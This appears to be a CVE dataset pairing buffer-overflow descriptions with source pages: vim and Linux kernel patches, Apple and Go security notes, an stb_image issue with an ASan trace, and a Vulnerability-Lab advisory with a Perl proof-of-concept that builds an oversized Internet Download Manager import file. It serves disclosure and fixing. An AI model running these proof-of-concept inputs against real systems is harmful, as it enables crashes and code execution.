Stack-based buffer overflow in Tenda AC-10U AC1200 Router US_AC10UV1.0RTL_V15.03.06.48_multi_TDE01 allows remote attackers to execute arbitrary code via the timeZone parameter to goform/SetSysTimeCfg.

CVE-2020-22079

vim is vulnerable to Heap-based Buffer Overflow

@@ -34,14 +34,14 @@ func CountSpaces(type, ...)

else

silent exe "normal! \`\[v\`\]y"

endif

let g:a\=strlen(substitute(@@, '\[^ \]', '', 'g'))

let g:a \= strlen(substitute(@@, '\[^ \]', '', 'g'))

let &selection \= sel\_save

let @@ \= reg\_save

endfunc

  

func OpfuncDummy(type, ...)

" for testing operatorfunc

let g:opt\=&linebreak

let g:opt \= &linebreak

  

if a:0 " Invoked from Visual mode, use gv command.

silent exe "normal! gvy"

@@ -52,7 +52,7 @@ func OpfuncDummy(type, ...)

endif

" Create a new dummy window

new

let g:bufnr\=bufnr('%')

let g:bufnr \= bufnr('%')

endfunc

  

func Test\_normal00\_optrans()

@@ -987,6 +987,22 @@ func Test\_vert\_scroll\_cmds()

close!

endfunc

  

func Test\_scroll\_in\_ex\_mode()

" This was using invalid memory because w\_botline was invalid.

let lines \=<< trim END

diffsplit

norm os00(

call writefile(\['done'\], 'Xdone')

qa!

END

call writefile(lines, 'Xscript')

call assert\_equal(1, RunVim(\[\], \[\], '\--clean -X -Z -e -s -S Xscript'))

call assert\_equal(\['done'\], readfile('Xdone'))

  

call delete('Xscript')

call delete('Xdone')

endfunc

  

" Test for the 'sidescroll' option

func Test\_sidescroll\_opt()

new

CVE-2021-3903: patch 8.2.3564: invalid memory access when scrolling without valid sc… · vim/vim@777e7c2

Internet Download Manager 6.37.11.1 was discovered to contain a stack buffer overflow in the Export/Import function. This vulnerability allows attackers to escalate local process privileges via a crafted ef2 file.

Document Title: =============== IDM v6.37.11.1 - Stack Buffer Overflow Vulnerabilities References (Source): ==================== https://www.vulnerability-lab.com/get\_content.php?id=2236 Release Date: ============= 2020-04-28 Vulnerability Laboratory ID (VL-ID): ==================================== 2236 Common Vulnerability Scoring System: ==================================== 7.1 Vulnerability Class: ==================== Buffer Overflow Current Estimated Price: ======================== 1.000€ - 2.000€ Product & Service Introduction: =============================== Internet Download Manager Corp. is a subsidiary of Tonec Inc. that develops Internet Applications since 1990. We have strong expertise in network programming, consulting and design services. Our company started Internet Download Manager project in 1998 when we where developing network libraries and console applications for accelerated files downloading. (Copy of the Homepage: https://www.internetdownloadmanager.com/support/about\_us.html ) (Sofwtare Product: https://www.internetdownloadmanager.com/download.html) Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered a stack buffer overflow vulnerabilities in the Internet Download Manager v6.37.11.1 software. Vulnerability Disclosure Timeline: ================================== 2020-04-28: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Exploitation Technique: ======================= Local Severity Level: =============== High Authentication Type: ==================== Restricted Authentication (Guest Privileges) User Interaction: ================= No User Interaction Disclosure Type: ================ Full Disclosure Technical Details & Description: ================================ Multiple stack buffer overflow vulnerabilities has been discovered in the official Internet Download Manager v6.37.11.1 software. The bufer overflow allows to overwrite registers of the process to compromise the file-system by elevates local process privileges. 1.1 The first stack buffer overflow is located in the \`search\` function of the downloads menu. The search function itself does not use any secure restriction in the requested search variable of the inputs. Local attackers with access to the software are able to overflow the registers to elevate local process privileges. Thus allows a local attacker to compromise the local computer- or file-system. 1.2 The second stack buffer overflow is located in the \`Export/Import\` function of the tasks menu. Local users are able to import and export the download tasks as \*.ef2 file. Local attackers are able to import manipulated \*.ef2 files with manipulated referer and source url to overwrite the eip register. The issue occurs because of the insufficient ef2 filetype (context) validation process that does not perform any length restrictions. The security risk of the local stack buffer overflow vulnerabilities in the software are estimated as high with a cvss count of 7.1. Exploitation of the buffer overflow vulnerability requires a low privilege or restricted system user account without user interaction. Successful exploitation of the vulnerability results in overwrite of the active registers to compromise of the computer system or process. Vulnerable Module(s): \[+\] Search \[+\] Import/Export (ef2) Proof of Concept (PoC): ======================= 1.1 The stack buffer overflow vulnerability can be exploited by local attackers with system user privileges without user interaction. For security demonstration or to reproduce the local vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the vulnerability ... 1. Open the software 2. Click the downloads menu and open the search 3. Inject a large unicode payload inside the search input field and transmit 4. The software crashs with several uncaught exception because of overwritten register (0168D8F0) 5. Successful reproduce of the local buffer overflow vulnerability! --- Debug Logs (0168D8F0) --- 00d61850 668b08 mov cx,word ptr \[eax\] ds:002b:41414141 - 00D6186D |. 56 PUSH ESI ; /Arg1 - 00D61882 |. E8 59FFFFFF CALL IDMan.00D617E0 ; IDMan.00D617E0 - 00D6189B |> 50 PUSH EAX ; /Arg1 - 00D6189E |. E8 3DFFFFFF CALL IDMan.00D617E0 ; IDMan.00D617E0 - Call stack Address=0168C79C Stack=00DFE0F2 Procedure / arguments=IDMan.00D617E0 Called from=IDMan.00DFE0ED Frame=0168E02C - SEH chain Address SE handler 0168C790 IDMan.00F751E8 0168D8F0 41414141 - EAX 41414141 ECX 01680000 EDX 41414141 EBX 00000001 ESP 0168C76C EBP 0168E02C UNICODE "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..." ESI 0168C7AC UNICODE "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..." EDI 00410043 EIP 00D61850 IDMan.00D61850 Executable modules Base=00D60000 Size=00539000 (5476352.) Entry=00F5CB1C IDMan. Name=IDMan File version=6, 37, 11, 2 Path=C:Program Files (x86)Internet Download ManagerIDMan.exe 1.2 The stack buffer overflow vulnerability can be exploited by local attackers with system user privileges without user interaction. For security demonstration or to reproduce the local vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the vulnerability ... 1. Open the software 2. Start the bof\_poc.pl 3. Open the tasks menu 4. Click import and import \*.ef2 poc Note: The software process crashs on import with uncaught exception 5. Successful reproduce of the local buffer overflow vulnerability! Usage Example: Export/Import (\*.ef2) < https://www.vulnerability-lab.com/download\_content.php?id=1337 referer: https://www.vulnerability-lab.com/ User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko > PoC: Exploit #!/usr/bin/perl # Local Stack Buffer Overflow Exploit for Internet Download Manager v6.37.11.1 # Vulnerability Laboratory - Benjamin Kunz Mejri my $poc = "bof\_poc.ef2" ; print "\[+\] Producing bof\_poc.ef2 ..." ; my $buff0=" "."<" x 1; my $buff1=" n https://"."A" x 1024; my $buff2=" n Referer:"."A" x 1024; my $buff3=" n User Agent:"."A" x 1024; my $buff4=" n ".">" x 1; open(ef2, ">>$poc") or die "Cannot open $poc"; print ef2 $buff0; print ef2 $buff1; print ef2 $buff2; print ef2 $buff3; print ef2 $buff4; close(ef2); print "n\[+\] done !"; Credits & Authors: ================== Vulnerability-Lab - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab Benjamin Kunz Mejri - https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M. Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. Domains: www.vulnerability-lab.com www.vuln-lab.com www.vulnerability-db.com Services: magazine.vulnerability-lab.com paste.vulnerability-db.com infosec.vulnerability-db.com Social: twitter.com/vuln\_lab facebook.com/VulnerabilityLab youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php vulnerability-lab.com/rss/rss\_upcoming.php vulnerability-lab.com/rss/rss\_news.php Programs: vulnerability-lab.com/submit.php vulnerability-lab.com/register.php vulnerability-lab.com/list-of-bug-bounty-programs.php Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@ or research@) to get a ask permission. Copyright © 2020 | Vulnerability Laboratory - \[Evolution Security GmbH\]™

CVE-2020-23060

A heap-based buffer overflow flaw was found in the Linux kernel FireDTV media card driver, where the user calls the CA_SEND_MSG ioctl. This flaw allows a local user of the host machine to crash the system or escalate privileges on the system. The highest threat from this vulnerability is to confidentiality, integrity, as well as system availability.

From: Dan Carpenter <dan.carpenter@oracle.com>
To: Stefan Richter <stefanr@s5r6.in-berlin.de>,
	Luo Likang <luolikang@nsfocus.com>
Cc: security@kernel.org, linux-distros@vs.openwall.org,
	Mauro Carvalho Chehab <mchehab@kernel.org>,
	linux-media@vger.kernel.org,
	linux1394-devel@lists.sourceforge.net
Subject: \[PATCH\] media: firewire: firedtv-avc: fix a buffer overflow in avc\_ca\_pmt()
Date: Wed, 14 Apr 2021 11:57:59 +0300	\[thread overview\]
Message-ID: <YHaulytonFcW+lyZ@mwanda> (raw)
In-Reply-To: <000001d73031$d5304480$7f90cd80$@nsfocus.com\>

The bounds checking in avc\_ca\_pmt() is not strict enough.  It should
be checking "read\_pos + 4" because it's reading 5 bytes.  If the
"es\_info\_length" is non-zero then it reads a 6th byte so there needs to
be an additional check for that.

I also added checks for the "write\_pos".  I don't think these are
required because "read\_pos" and "write\_pos" are tied together so
checking one ought to be enough.  But they make the code easier to
understand for me.

The other problem is that "length" can be invalid.  It comes from
"data\_length" in fdtv\_ca\_pmt().

Cc: stable@vger.kernel.org
Reported-by: Luo Likang <luolikang@nsfocus.com>
Signed-off-by: Dan Carpenter <dan.carpenter@oracle.com>
---
This hardware isn't super common so there is no embargo.  Resending
through normal lists.

Oh, another thing is the data\_length calculation in fdtv\_ca\_pmt() seems
very suspicous.  Reading more than 4 bytes in the loop will lead to
shift wrapping.

 drivers/media/firewire/firedtv-avc.c | 14 +++++++++++---
 drivers/media/firewire/firedtv-ci.c  |  2 ++
 2 files changed, 13 insertions(+), 3 deletions(-)

diff --git a/drivers/media/firewire/firedtv-avc.c b/drivers/media/firewire/firedtv-avc.c
index 2bf9467b917d..71991f8638e6 100644
--- a/drivers/media/firewire/firedtv-avc.c
+++ b/drivers/media/firewire/firedtv-avc.c
@@ -1165,7 +1165,11 @@ int avc\_ca\_pmt(struct firedtv \*fdtv, char \*msg, int length)
 		read\_pos += program\_info\_length;
 		write\_pos += program\_info\_length;
 	}
\-	while (read\_pos < length) {
+	while (read\_pos + 4 < length) {
+		if (write\_pos + 4 >= sizeof(c->operand) - 4) {
+			ret = -EINVAL;
+			goto out;
+		}
 		c->operand\[write\_pos++\] = msg\[read\_pos++\];
 		c->operand\[write\_pos++\] = msg\[read\_pos++\];
 		c->operand\[write\_pos++\] = msg\[read\_pos++\];
@@ -1177,13 +1181,17 @@ int avc\_ca\_pmt(struct firedtv \*fdtv, char \*msg, int length)
 		c->operand\[write\_pos++\] = es\_info\_length >> 8;
 		c->operand\[write\_pos++\] = es\_info\_length & 0xff;
 		if (es\_info\_length > 0) {
+			if (read\_pos >= length) {
+				ret = -EINVAL;
+				goto out;
+			}
 			pmt\_cmd\_id = msg\[read\_pos++\];
 			if (pmt\_cmd\_id != 1 && pmt\_cmd\_id != 4)
 				dev\_err(fdtv->device, "invalid pmt\_cmd\_id %d at stream level\\n",
 					pmt\_cmd\_id);
 
\-			if (es\_info\_length > sizeof(c->operand) - 4 -
-					     write\_pos) {
+			if (es\_info\_length > sizeof(c->operand) - 4 - write\_pos ||
+			    es\_info\_length > length - read\_pos) {
 				ret = -EINVAL;
 				goto out;
 			}
diff --git a/drivers/media/firewire/firedtv-ci.c b/drivers/media/firewire/firedtv-ci.c
index 9363d005e2b6..2d6992ac5dd6 100644
--- a/drivers/media/firewire/firedtv-ci.c
+++ b/drivers/media/firewire/firedtv-ci.c
@@ -134,6 +134,8 @@ static int fdtv\_ca\_pmt(struct firedtv \*fdtv, void \*arg)
 	} else {
 		data\_length = msg->msg\[3\];
 	}
+	if (data\_length > sizeof(msg->msg) - 4)
+		return -EINVAL;
 
 	return avc\_ca\_pmt(fdtv, &msg->msg\[data\_pos\], data\_length);
 }
-- 
2.30.2

next      parent reply	other threads:\[~2021-04-14  9:01 UTC|newest\]

**Thread overview:** 20+ messages / expand\[flat|nested\]  mbox.gz  Atom feed  top
     \[not found\] <000001d73031$d5304480$7f90cd80$@nsfocus.com\>
**2021-04-14  8:57 \` Dan Carpenter \[this message\]**
2021-04-19 21:42   \` \[PATCH\] media: firewire: firedtv-avc: fix a buffer overflow in avc\_ca\_pmt() Kees Cook
2021-06-07 15:23   \` \[PATCH v2\] " Dan Carpenter
2021-07-16  9:28     \` Petr Mladek
2021-07-19 10:25   \` \[PATCH\] " Dan Carpenter
2021-07-29 10:32   \` Greg KH
2021-08-16  7:01     \` Salvatore Bonaccorso
2021-08-16  7:27       \` \[PATCH v2 RESEND\] " Dan Carpenter
2021-09-01 10:40         \` Dan Carpenter
2021-09-12 13:14           \` Salvatore Bonaccorso
2021-09-12 18:26             \` Linus Torvalds
2021-09-13  2:50               \` Michael Ellerman
2021-09-13 13:23               \` Mauro Carvalho Chehab
2021-09-19 18:45                 \` Salvatore Bonaccorso
2021-10-11  7:04                   \` Salvatore Bonaccorso
2021-10-11  9:42                     \` \[PATCH\] " Dan Carpenter
2021-06-07  7:38 \[PATCH\] media firewire firedtv-avc " Yang Yanchao
2021-06-07  7:39 Yang Yanchao
2021-06-07  9:26 \` Greg KH
2021-06-07 14:28 \` Dan Carpenter

**Reply instructions:**

You may reply publicly to this message via plain-text email
using any one of the following methods:

\* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting\_style#Interleaved\_style

\* Reply using the **\--to**, **\--cc**, and **\--in-reply-to**
  switches of git-send-email(1):

  git send-email \\
    --in-reply-to=YHaulytonFcW+lyZ@mwanda \\
    --to=dan.carpenter@oracle.com \\
    --cc=linux-distros@vs.openwall.org \\
    --cc=linux-media@vger.kernel.org \\
    --cc=linux1394-devel@lists.sourceforge.net \\
    --cc=luolikang@nsfocus.com \\
    --cc=mchehab@kernel.org \\
    --cc=security@kernel.org \\
    --cc=stefanr@s5r6.in-berlin.de \\
    /path/to/YOUR\_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

\* If your mail client supports setting the **In-Reply-To** header
  via mailto: links, try the mailto: link

Be sure your reply has a **Subject:** header at the top and a blank line before the message body.

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).

CVE-2021-42739: [PATCH] media: firewire: firedtv-avc: fix a buffer overflow in avc_ca_pmt()

A logic issue was addressed with improved state management. This issue is fixed in Security Update 2021-005 Catalina, macOS Big Sur 11.6. A remote attacker may be able to leak memory.

Released September 13, 2021

**AppleMobileFileIntegrity**

Available for: macOS Big Sur

Impact: A local attacker may be able to read sensitive information

Description: This issue was addressed with improved checks.

CVE-2021-30811: an anonymous researcher working with Compartir

Entry added January 19, 2022

**Apple Neural Engine**

Available for: macOS Big Sur

Impact: A malicious application may be able to execute arbitrary code with system privileges

Description: A memory corruption issue was addressed with improved memory handling.

CVE-2021-30838: proteas wang

Entry added January 19, 2022

**CoreAudio**

Available for: macOS Big Sur

Impact: Processing a malicious audio file may result in unexpected application termination or arbitrary code execution

Description: A logic issue was addressed with improved state management.

CVE-2021-30834: JunDong Xie of Ant Security Light-Year Lab

Entry added January 19, 2022

**CoreGraphics**

Available for: macOS Big Sur

Impact: Processing a maliciously crafted image may lead to arbitrary code execution

Description: A memory corruption issue was addressed with improved input validation.

CVE-2021-30928: Mickey Jin (@patch1t) of Trend Micro

Entry added January 19, 2022

**CoreGraphics**

Available for: macOS Big Sur

Impact: Processing a maliciously crafted PDF may lead to arbitrary code execution. Apple is aware of a report that this issue may have been actively exploited.

Description: An integer overflow was addressed with improved input validation.

CVE-2021-30860: The Citizen Lab

**Core Telephony**

Available for: macOS Big Sur

Impact: A sandboxed process may be able to circumvent sandbox restrictions. Apple was aware of a report that this issue may have been actively exploited at the time of release.

Description: A deserialization issue was addressed through improved validation.

CVE-2021-31010: Citizen Lab and Google Project Zero

Entry added May 25, 2022

**CUPS**

Available for: macOS Big Sur

Impact: A local attacker may be able to elevate their privileges

Description: A permissions issue existed. This issue was addressed with improved permission validation.

CVE-2021-30827: an anonymous researcher

Entry added September 20, 2021

**CUPS**

Available for: macOS Big Sur

Impact: A local user may be able to read arbitrary files as root

Description: This issue was addressed with improved checks.

CVE-2021-30828: an anonymous researcher

Entry added September 20, 2021

**CUPS**

Available for: macOS Big Sur

Impact: A local user may be able to execute arbitrary files

Description: A URI parsing issue was addressed with improved parsing.

CVE-2021-30829: an anonymous researcher

Entry added September 20, 2021

**curl**

Available for: macOS Big Sur

Impact: curl could potentially reveal sensitive internal information to the server using a clear-text network protocol

Description: A buffer overflow was addressed with improved input validation.

CVE-2021-22925: Red Hat Product Security

Entry added September 20, 2021, updated January 19, 2022

**CVMS**

Available for: macOS Big Sur

Impact: A local attacker may be able to elevate their privileges

Description: A memory corruption issue was addressed with improved state management.

CVE-2021-30832: Mickey Jin (@patch1t) of Trend Micro

Entry added September 20, 2021

**FontParser**

Available for: macOS Big Sur

Impact: Processing a maliciously crafted dfont file may lead to arbitrary code execution

Description: This issue was addressed with improved checks.

CVE-2021-30841: Xingwei Lin of Ant Security Light-Year Lab

CVE-2021-30842: Xingwei Lin of Ant Security Light-Year Lab

CVE-2021-30843: Xingwei Lin of Ant Security Light-Year Lab

Entry added September 20, 2021

**Gatekeeper**

Available for: macOS Big Sur

Impact: A malicious application may bypass Gatekeeper checks

Description: This issue was addressed with improved checks.

CVE-2021-30853: Gordon Long (@ethicalhax) of Box, Inc.

Entry added September 20, 2021

**Graphics Drivers**

Available for: macOS Big Sur

Impact: A malicious application may be able to execute arbitrary code with kernel privileges

Description: A race condition was addressed with improved state handling.

CVE-2021-30933: Jack Dates of RET2 Systems, Inc.

Entry added May 25, 2022

**ImageIO**

Available for: macOS Big Sur

Impact: Processing a maliciously crafted image may lead to arbitrary code execution

Description: This issue was addressed with improved checks.

CVE-2021-30835: Ye Zhang of Baidu Security

Entry added January 19, 2022

**ImageIO**

Available for: macOS Big Sur

Impact: Processing a maliciously crafted image may lead to arbitrary code execution

Description: This issue was addressed with improved checks.

CVE-2021-30847: Mike Zhang of Pangu Lab

Entry added September 20, 2021

**Kernel**

Available for: macOS Big Sur

Impact: A malicious application may be able to execute arbitrary code with kernel privileges

Description: A memory corruption issue was addressed with improved memory handling.

CVE-2021-30830: Zweig of Kunlun Lab

Entry added September 20, 2021

**Kernel**

Available for: macOS Big Sur

Impact: A malicious application may be able to execute arbitrary code with kernel privileges

Description: An out-of-bounds read was addressed with improved input validation.

CVE-2021-30865: Zweig of Kunlun Lab

Entry added September 20, 2021

**Kernel**

Available for: macOS Big Sur

Impact: A malicious application may be able to execute arbitrary code with kernel privileges

Description: A race condition was addressed with improved locking.

CVE-2021-30857: Zweig of Kunlun Lab

Entry added September 20, 2021

**Kernel**

Available for: macOS Big Sur

Impact: A malicious application may be able to execute arbitrary code with kernel privileges

Description: A type confusion issue was addressed with improved state handling.

CVE-2021-30859: Apple

Entry added September 20, 2021

**LaunchServices**

Available for: macOS Big Sur

Impact: A sandboxed process may be able to circumvent sandbox restrictions

Description: A logic issue was addressed with improved state management.

CVE-2021-30864: Ron Hass (@ronhass7) of Perception Point, Ron Waisberg (@epsilan)

Entry added January 19, 2022

**libexpat**

Available for: macOS Big Sur

Impact: A remote attacker may be able to cause a denial of service

Description: This issue was addressed by updating expat to version 2.4.1.

CVE-2013-0340: an anonymous researcher

Entry added September 20, 2021

**Login Window**

Available for: macOS Big Sur

Impact: A person with access to a host Mac may be able to bypass the Login Window in Remote Desktop for a locked instance of macOS

Description: A logic issue was addressed with improved checks.

CVE-2021-30813: Benjamin Berger of BBetterTech LLC, Aaron Hines of AHDesigns916, Peter Goedtkindt of Informatique-MTF S.A.

Entry added May 25, 2022

**Model I/O**

Available for: macOS Big Sur

Impact: Processing a maliciously crafted USD file may disclose memory contents

Description: An out-of-bounds read was addressed with improved input validation.

CVE-2021-30819

Entry added January 19, 2022

**Preferences**

Available for: macOS Big Sur

Impact: An application may be able to access restricted files

Description: A validation issue existed in the handling of symlinks. This issue was addressed with improved validation of symlinks.

CVE-2021-30855: Zhipeng Huo (@R3dF09) and Yuebin Sun (@yuebinsun2020) of Tencent Security Xuanwu Lab (xlab.tencent.com)

Entry added September 20, 2021

**Sandbox**

Available for: macOS Big Sur

Impact: A malicious application may be able to bypass Privacy preferences

Description: The issue was addressed with improved permissions logic.

CVE-2021-30925: Csaba Fitzl (@theevilbit) of Offensive Security

Entry added January 19, 2022

**Sandbox**

Available for: macOS Big Sur

Impact: A user may gain access to protected parts of the file system

Description: An access issue was addressed with improved access restrictions.

CVE-2021-30850: an anonymous researcher

Entry added September 20, 2021

**SMB**

Available for: macOS Big Sur

Impact: A local user may be able to read kernel memory

Description: An out-of-bounds read was addressed with improved bounds checking.

CVE-2021-30845: Peter Nguyen Vu Hoang of STAR Labs

Entry added September 20, 2021

**SMB**

Available for: macOS Big Sur

Impact: A remote attacker may be able to leak memory

Description: A logic issue was addressed with improved state management.

CVE-2021-30844: Peter Nguyen Vu Hoang of STAR Labs

Entry added September 20, 2021

**WebKit**

Available for: macOS Big Sur

Impact: Processing maliciously crafted web content may lead to arbitrary code execution. Apple is aware of a report that this issue may have been actively exploited.

Description: A use after free issue was addressed with improved memory management.

CVE-2021-30858: an anonymous researcher

CVE-2021-30844: About the security content of macOS Big Sur 11.6

@@ -464,13 +464,13 @@ win\_redr\_status(win\_T \*wp, int ignore\_pum UNUSED)

\*(p + len++) = ' ';

if (bt\_help(wp->w\_buffer))

{

STRCPY(p + len, \_("\[Help\]"));

vim\_snprintf((char \*)p + len, MAXPATHL - len, "%s", \_("\[Help\]"));

len += (int)STRLEN(p + len);

}

#ifdef FEAT\_QUICKFIX

if (wp->w\_p\_pvw)

{

STRCPY(p + len, \_("\[Preview\]"));

vim\_snprintf((char \*)p + len, MAXPATHL - len, "%s", \_("\[Preview\]"));

len += (int)STRLEN(p + len);

}

#endif

@@ -480,12 +480,12 @@ win\_redr\_status(win\_T \*wp, int ignore\_pum UNUSED)

#endif

)

{

STRCPY(p + len, "\[+\]");

len += 3;

vim\_snprintf((char \*)p + len, MAXPATHL - len, "%s", "\[+\]");

len += (int)STRLEN(p + len);

}

if (wp->w\_buffer\->b\_p\_ro)

{

STRCPY(p + len, \_("\[RO\]"));

vim\_snprintf((char \*)p + len, MAXPATHL - len, "%s", \_("\[RO\]"));

len += (int)STRLEN(p + len);

}

CVE-2021-3872: patch 8.2.3487: illegal memory access if buffer name is very long · vim/vim@826bfe4

Go before 1.16.9 and 1.17.x before 1.17.2 has a Buffer Overflow via large arguments in a function invocation from a WASM module, when GOARCH=wasm GOOS=js is used.

Hello gophers,

We have just released Go versions 1.17.2 and 1.16.9, minor point releases.

These minor releases include a security fix according to the new security policy (#44918).

> When invoking functions from WASM modules, built using GOARCH=wasm GOOS=js, passing very large arguments can cause portions of the module to be overwritten with data from the arguments.

  

> If using wasm\_exec.js to execute WASM modules, users will need to replace their copy (as described in https://golang.org/wiki/WebAssembly#getting-started) after rebuilding any modules.

  

> This is issue #48797 and CVE-2021-38297. Thanks to Ben Lubar for reporting this issue.

View the release notes for more information:  
    https://golang.org/doc/devel/release.html#go1.17.minor

You can download binary and source distributions from the Go web site:  
    https://golang.org/dl/

To compile from source using a Git clone, update to the release with  
"git checkout go1.17.2" and build as usual.

Thanks to everyone who contributed to the releases.

Cheers,  
Michael and Heschi for the Go team

CVE-2021-38297: [security] Go 1.17.2 and Go 1.16.9 are released

Buffer overflow vulnerability in function stbi__extend_receive in stb_image.h in stb 2.26 via a crafted JPEG file.

New issue

**Have a question about this project?** Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Closed

Kaka201 opened this issue

Mar 4, 2021

· 2 comments

Closed

**heap overflow in stb\_image.h:2099 #1108**

Kaka201 opened this issue

Mar 4, 2021

· 2 comments

**Comments**

heap overflow by a craft jpeg file in stb\_image.h:2099  
poc poc\_hoob.zip

asan report:

    ==42271==ERROR: AddressSanitizer: global-buffer-overflow on address 0x000000559f20 at pc 0x00000051a2dd bp 0x7ffd06a9e900 sp 0x7ffd06a9e8f8
    READ of size 4 at 0x000000559f20 thread T0
        #0 0x51a2dc in stbi__extend_receive /home/kaka/fuzz/stb/tests/./../stb_image.h:2099:16
        #1 0x518400 in stbi__jpeg_decode_block /home/kaka/fuzz/stb/tests/./../stb_image.h:2154:15
        #2 0x517173 in stbi__parse_entropy_coded_data /home/kaka/fuzz/stb/tests/./../stb_image.h:2920:30
        #3 0x5138d0 in stbi__decode_jpeg_image /home/kaka/fuzz/stb/tests/./../stb_image.h:3321:15
        #4 0x510a21 in load_jpeg_image /home/kaka/fuzz/stb/tests/./../stb_image.h:3773:9
        #5 0x4fe7b1 in stbi__jpeg_load /home/kaka/fuzz/stb/tests/./../stb_image.h:3930:13
        #6 0x4f8b3f in stbi__load_and_postprocess_8bit /home/kaka/fuzz/stb/tests/./../stb_image.h:1203:19
        #7 0x4f9d12 in stbi_load_from_memory /home/kaka/fuzz/stb/tests/./../stb_image.h:1373:11
        #8 0x4fd734 in LLVMFuzzerTestOneInput /home/kaka/fuzz/stb/tests/stbi_read_fuzzer.c:19:26
        #9 0x4f84fd in main /home/kaka/fuzz/stb/tests/fuzz_main.c:48:11
        #10 0x7fd09b4ea83f in __libc_start_main /build/glibc-e6zv40/glibc-2.23/csu/../csu/libc-start.c:291
        #11 0x41b038 in _start (/home/kaka/fuzz/stb/tests/image_fuzzer+0x41b038)
    
    0x000000559f20 is located 32 bytes to the left of global variable '<string literal>' defined in './../stb_image.h:2198:33' (0x559f40) of size 22
      '<string literal>' is ascii string 'can't merge dc and ac'
    0x000000559f20 is located 0 bytes to the right of global variable 'stbi__jbias' defined in './../stb_image.h:2083:18' (0x559ee0) of size 64
    SUMMARY: AddressSanitizer: global-buffer-overflow /home/kaka/fuzz/stb/tests/./../stb_image.h:2099:16 in stbi__extend_receive
    Shadow bytes around the buggy address:
      0x0000800a3390: 00 04 f9 f9 f9 f9 f9 f9 00 04 f9 f9 f9 f9 f9 f9
      0x0000800a33a0: 00 f9 f9 f9 f9 f9 f9 f9 00 00 01 f9 f9 f9 f9 f9
      0x0000800a33b0: 00 00 00 00 00 00 00 00 04 f9 f9 f9 f9 f9 f9 f9
      0x0000800a33c0: 00 00 00 00 00 00 00 00 00 00 02 f9 f9 f9 f9 f9
      0x0000800a33d0: 00 00 00 00 00 00 00 02 f9 f9 f9 f9 00 00 00 00
    =>0x0000800a33e0: 00 00 00 00[f9]f9 f9 f9 00 00 06 f9 f9 f9 f9 f9
      0x0000800a33f0: 00 04 f9 f9 f9 f9 f9 f9 00 00 05 f9 f9 f9 f9 f9
      0x0000800a3400: 00 06 f9 f9 f9 f9 f9 f9 00 05 f9 f9 f9 f9 f9 f9
      0x0000800a3410: 00 00 04 f9 f9 f9 f9 f9 00 02 f9 f9 f9 f9 f9 f9
      0x0000800a3420: 00 00 f9 f9 f9 f9 f9 f9 00 00 02 f9 f9 f9 f9 f9
      0x0000800a3430: 00 00 05 f9 f9 f9 f9 f9 00 06 f9 f9 f9 f9 f9 f9
    Shadow byte legend (one shadow byte represents 8 application bytes):
      Addressable:           00
      Partially addressable: 01 02 03 04 05 06 07 
      Heap left redzone:       fa
      Freed heap region:       fd
      Stack left redzone:      f1
      Stack mid redzone:       f2
      Stack right redzone:     f3
      Stack after return:      f5
      Stack use after scope:   f8
      Global redzone:          f9
      Global init order:       f6
      Poisoned by user:        f7
      Container overflow:      fc
      Array cookie:            ac
      Intra object redzone:    bb
      ASan internal:           fe
      Left alloca redzone:     ca
      Right alloca redzone:    cb
      Shadow gap:              cc
    ==42271==ABORTING
    

rygorous added a commit that referenced this issue

Jul 3, 2021

extend\_receive implicitly requires n <= 15 (code length);
the maximum that actually makes sense for 8-bit baseline JPEG is
11, but 15 is the natural limit for us because the AC coding path
stores the number of magnitude bits in a nibble.

Check that DC delta bits are in range before attempting to call
extend\_receive.

Fixes issue #1108.

Thanks for the bug report and repro, sorry for taking a while to respond. Bug is fixed in dev branch, will be in the next release.

rygorous added a commit that referenced this issue

Jul 4, 2021

extend\_receive implicitly requires n <= 15 (code length);
the maximum that actually makes sense for 8-bit baseline JPEG is
11, but 15 is the natural limit for us because the AC coding path
stores the number of magnitude bits in a nibble.

Check that DC delta bits are in range before attempting to call
extend\_receive.

Fixes issue #1108.

CVE-2021-28021 has been assigned for this issue  
report by luo likang from nsfocus security team

CVE-2021-28021: heap overflow in stb_image.h:2099 · Issue #1108 · nothings/stb

When fuzzing vim commit 56858e4ed (works with latest build) with clang 12 and ASan, I discovered a heap buffer overflow.

**Proof of Concept**

Here is minimized poc

    /\%.v
    5/
    c
    

Extract then run crafted file with this command vim -u NONE -X -Z -e -s -S vimpoc1 -c :qa!

ASan stack trace:

    aldo@vps:~/vim/src$ ASAN_OPTIONS=symbolize=1 ASAN_SYMBOLIZER_PATH=/usr/bin/llvm-symbolizer ./vim -u NONE -X -Z -e -s -S vimpoc1 -c :qa!
    =================================================================
